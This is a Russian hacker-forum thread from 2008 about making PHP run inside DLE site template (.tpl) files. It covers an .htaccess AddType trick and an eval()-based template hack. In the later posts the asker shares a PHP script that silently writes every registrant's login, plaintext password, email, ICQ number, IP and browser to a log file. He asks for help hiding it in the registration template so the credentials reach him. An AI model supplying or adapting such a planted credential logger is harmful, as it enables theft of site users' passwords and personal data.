Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   php код в .tpl (https://forum.antichat.xyz/showthread.php?t=58050)

-=Dem0n=- 10.01.2008 05:11

php код в .tpl
 
Как сделать чтобы в файле с расширением .tpl, они собсно в шаблоне DLE, выполнялся php код.
Нашел только как можно выполнить в main.tpl но меня интересует другой файл.

Spyder 10.01.2008 05:25

в дире с .tpl создаёшь .htaccess с таким содержанием
addtype application/x-httpd-php .tpl

-=Dem0n=- 10.01.2008 05:27

Спс. Попробую.

-=Dem0n=- 10.01.2008 05:32

Добавил только теперь страница не открывается. Просто белоый лист.

Spyder 10.01.2008 05:58

Какая страница?

-=Dem0n=- 10.01.2008 06:06

Страница регистрации после добавления кода стала белая)

guest3297 10.01.2008 07:56

что бы в tpl исполнялся php код:
1) Сделать что бы веб сервер опеределял данное раширенние и кормил его php интерпритатору (например средствами htaccess).
2) Записать код и "Проинклудить" его такими функциями как include(), require().

Macro 10.01.2008 07:58

Если это шаблоны smarty, то там можно использовать php код между тегами {php}{/php}

-=Dem0n=- 10.01.2008 19:00

Цитата:

Сообщение от [ cash ]
что бы в tpl исполнялся php код:
1) Сделать что бы веб сервер опеределял данное раширенние и кормил его php интерпритатору (например средствами htaccess).
2) Записать код и "Проинклудить" его такими функциями как include(), require().

Это ведь тоже пхп а в теплешнике он не читается.

include и require

bul.666 10.01.2008 19:25

Прикалываешься?
Я создал текстовый документ написал туда:
Цитата:

<?
echo "Hello from TPL";
?>
переименовал его в 123.tpl
Потом в файле main.php
Начирикал:
Цитата:

<?php
echo "THIS IS MAIN<br>";
include("123.tpl");
?>
Когда запусти, то у мя высветилось:
Цитата:

THIS IS MAIN
Hello from TPL
Вывод: =\

-=Dem0n=- 10.01.2008 19:53

Мне нужно запустить тпл а не пхп. Запустил тпл у меня сработала echo а include нет.
Если например добавить
PHP код:

<?php
echo "THIS IS MAIN<br>";
require_once(
"123.tpl");
?>

То после THIS IS MAIN на странице пусто.

bul.666 10.01.2008 20:17

Какое у тя содержание tpl... ???

Ali_MiX 10.01.2008 20:21

Цитата:

Сообщение от bul.666
Какое у тя содержание tpl... ?

всё ты правильно ранее описал чувак просто неврубает

bul.666 10.01.2008 20:22

Дык работает или нет?!
Это ваще файл турбопаскаля или php шаблон???

-=Dem0n=- 10.01.2008 20:23

Код:

<div align="center">
<table width="100%"
      cellSpacing=0 cellPadding=0 width="100%">
    <tr>
        <td height="24" background="{THEME}/images/news_header.gif">&nbsp;&nbsp;<b>[registration]Регистрация нового пользователя[/registration][validation]Обновление профиля пользователя[/validation]</b></td>
                <td height="24" background="{THEME}/images/news_header.gif" align="right">Категория: Регистрация&nbsp;&nbsp;</td>
    </tr>
        <tr>
          <td style="padding-left: 3px; padding-right: 3px"></td>
          <td align="right" style="padding-left: 3px; padding-right: 3px"></td>
        </table>
        <table width="99%" cellSpacing=0 cellPadding=0 width="100%">
        <tr>
            <td width="100%" style="padding-left: 3px; padding-right: 3px">
[registration]Добрый день уважаемый посетитель нашего сайта. Регистрация на нашем сайте позволит Вам быть полноценным участником нашего сайта, Вы сможете добавлять новости на сайт, оставлять комментарии, просматривать скрытый текст и многое другое. В случае возникновения проблем с регистрацией на сайте напишите администратору проекта.<br> <font color="red">Реклама на сайте строго запещина в любой форме. За нарушение правил дается одно предупреждение, потом бан.<br>
Подробные правила регистрации, приведины в нижней части страници регистрации.
</font>[/registration]
[validation]Уважаемый посетитель Ваш аккаунт был зарегистрирован на нашем сайте, однако информация о вас является неполной, поэтому заполните дополнительные поля в вашем профиле.[/validation]<br><br>
<center>
          [registration]
        Логин<br>
                  <input type="text" name="name" id='name' style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0;"> <br>
<input style="height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0; background: #FFF;" title="Проверить доступность логина для регистрации" onclick="CheckLogin(); return false;" type=button value="Проверить имя"><div id='result-registration'><br>
                Пароль<br>
                  <input type="password" name="password1" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                Повторите пароль<br>
                  <input type="password" name="password2" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                Ваш E-Mail<br>
                  <input type="text" name="email" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
[sec_code]
<b>Подтверждение кода безопасности</b><br><br>
Код безопасности<br>
{reg_code}
Введите код<br>
<input type="text" name="sec_code" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
[/sec_code]
[/registration]
[validation]
                  Ваше имя<br>
                  <input type="text" name="fullname" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                  Место жительства<br>
                  <input type="text" name="land" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                  Номер ICQ<br>
                  <input type="text" name="icq" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                  Фото:<br>
                                  <input type="file" name="image" style="width:278px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                  О себе<br>
                  <textarea name=info style="width:320px; height:70px; font-family:verdana; font-size:11px; border:1px solid #E0E0E0 "></textarea><br>
[/validation]
<input style="height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0; background: #FFF;" title="Отправить"  type="submit" value="Отправить" class="btn">
</center>
               
                </td>
        </tr>
       
        <tr>
          <td width="100%" style="padding-left: 3px; padding-right: 3px; padding-bottom: 3px; padding-top: 3px;"></td>
        </tr>
</table>
</div>


-=Dem0n=- 10.01.2008 20:23

Цитата:

Сообщение от bul.666
Какое у тя содержание tpl... ???

Шаблон.

bul.666 10.01.2008 20:23

Омг...
http://www.codenet.ru/webmast/php/Templates-About.php

-=Dem0n=- 11.01.2008 03:36

вот код php:
PHP код:

<?
$filename 
"logins.php";
if (!
is_file($filename) || !is_writable($filename)) {
    echo 
"<center>Файл '$filename' не найден !</center>";
    exit();
}
function 
reglog() {
global 
$filename$name$password1$password2$email$icq$HTTP_X_REAL_IP$HTTP_USER_AGENT;
    
    
$d date("d.m.Y - H:i:s");
    
$str "
    Логин:    [
$name
    Пароль:    [
$password1
    Е-майл:    [
$email
    HoMep:    [
$icq]
    Кто:    [user]
    Статус:    [*off*]
IP:        
$HTTP_X_REAL_IP
Browser        
$HTTP_USER_AGENT
======================
"
;
    
$f fopen($filename"a");
    
fwrite($f"$str\n");
    
fclose($f);
    
err(5);
}

if (
$namereglog();
show();
function 
show() {
?>
  <form action="" method="post" name="f">
    
      Логин<br>
      <td width="75%"><input type="text" maxlength="15" name="name" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0;"><br>
    
      Пароль<br>
      <input  type="password" maxlength="15" name="password1" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
    
      Пароль еще раз<br>
      <input  type="password" maxlength="15" name="password2" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
    
    
      E-mail<br>
      <input type="text" name="email" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
    

      Номер ICQ<br>
      <input type="text" maxlength="15" name="icq" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 ">


      <br>


          <input type="submit" value="Отправить">
  </form>
<? ?>

ЕГО а не В него нужно вставить вот этот .tpl
Код:

<div align="center">
<table width="100%"
      cellSpacing=0 cellPadding=0 width="100%">
    <tr>
        <td height="24" background="{THEME}/images/news_header.gif">&nbsp;&nbsp;<b>[registration]Регистрация нового пользователя[/registration][validation]Обновление профиля пользователя[/validation]</b></td>
                <td height="24" background="{THEME}/images/news_header.gif" align="right">Категория: Регистрация&nbsp;&nbsp;</td>
    </tr>
        <tr>
          <td style="padding-left: 3px; padding-right: 3px"></td>
          <td align="right" style="padding-left: 3px; padding-right: 3px"></td>
        </table>
        <table width="99%" cellSpacing=0 cellPadding=0 width="100%">
        <tr>
            <td width="100%" style="padding-left: 3px; padding-right: 3px">
[registration]Добрый день уваbla blah ан.<br>
blabla
</font>[/registration]
[validation]Уважаемый посbla профиле.[/validation]<br><br>
<center>
          [registration]
        Логин<br>
                  <input type="text" name="name" id='name' style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0;"><br>
        <input style="height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0; background: #FFF;" title="Проверить доступность логина для регистрации" onclick="CheckLogin(); return false;" type=button value="Проверить имя"><div id='result-registration'><br>
                Пароль<br>
                  <input type="password" name="password1" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                Повторите пароль<br>
                  <input type="password" name="password2" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                Ваш E-Mail<br>
                  <input type="text" name="email" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
[sec_code]
<b>Подтверждение кода безопасности</b><br><br>
Код безопасности<br>
{reg_code}
Введите код<br>
<input type="text" name="sec_code" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
[/sec_code]
[/registration]
[validation]
                  Ваше имя<br>
                  <input type="text" name="fullname" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                  Место жительства<br>
                  <input type="text" name="land" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                  Номер ICQ<br>
                  <input type="text" name="icq" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                  Фото:<br>
                                  <input type="file" name="image" style="width:278px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
                  О себе<br>
                  <textarea name=info style="width:320px; height:70px; font-family:verdana; font-size:11px; border:1px solid #E0E0E0 "></textarea><br>
[/validation]
<input style="height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0; background: #FFF;" title="Отправить"  type="submit" value="Отправить" class="btn">
</center>
               
                </td>
        </tr>
       
        <tr>
          <td width="100%" style="padding-left: 3px; padding-right: 3px; padding-bottom: 3px; padding-top: 3px;"></td>
        </tr>
</table>
</div>

и инклудовал и как только не пробывал не получается у меня! Нужно еще и чтобы скрипт работал! помогите пжлст.

-=Dem0n=- 11.01.2008 03:50

А очень-бы хотелось) чтобы мне логи приходили)

FeraS 11.01.2008 03:51

Сори я налечил(

http://dle-news.ru/2006/06/15/ispolzovanie_ljubykh_php_vstavok_v_shablonakh.html посмотри-ка

-=Dem0n=- 11.01.2008 04:05

Цитата:

Сообщение от FeraS
Сори я налечил(

http://dle-news.ru/2006/06/15/ispolzovanie_ljubykh_php_vstavok_v_shablonakh.html посмотри-ка

Так его что в любом шаблоне можно использовать?

FeraS 11.01.2008 04:09

Ну видимо да. Там в комментах, внизу, решение для новых версий

-=Dem0n=- 11.01.2008 04:13

Цитата:

Сообщение от FeraS
Ну видимо да. Там в комментах, внизу, решение для новых версий

Видел у меня 6.0
*мат* ниче у меня не получается! блин. сделал тот хак но после вставки скрипта внизу ничего нет никаких форм.
и как у пацан белый листок.

-=Dem0n=- 11.01.2008 04:35

Фух выполнения скриптов сделал спасибо FeraS)) этот подашол
PHP код:

function incphp($str)
{
$a = explode('<?', $str);
echo $a[0];
for ($i=1; $i<sizeof($a); $i++)
{
$b = explode('
?>', $a[$i]);
eval($b[0]);
if (sizeof($b)>1) echo $b[1];
}
}
incphp($tpl->result['main']);

теперь может скажит кто как его правильно вставить в .tpl что-бы он логи писал?)


Время: 01:24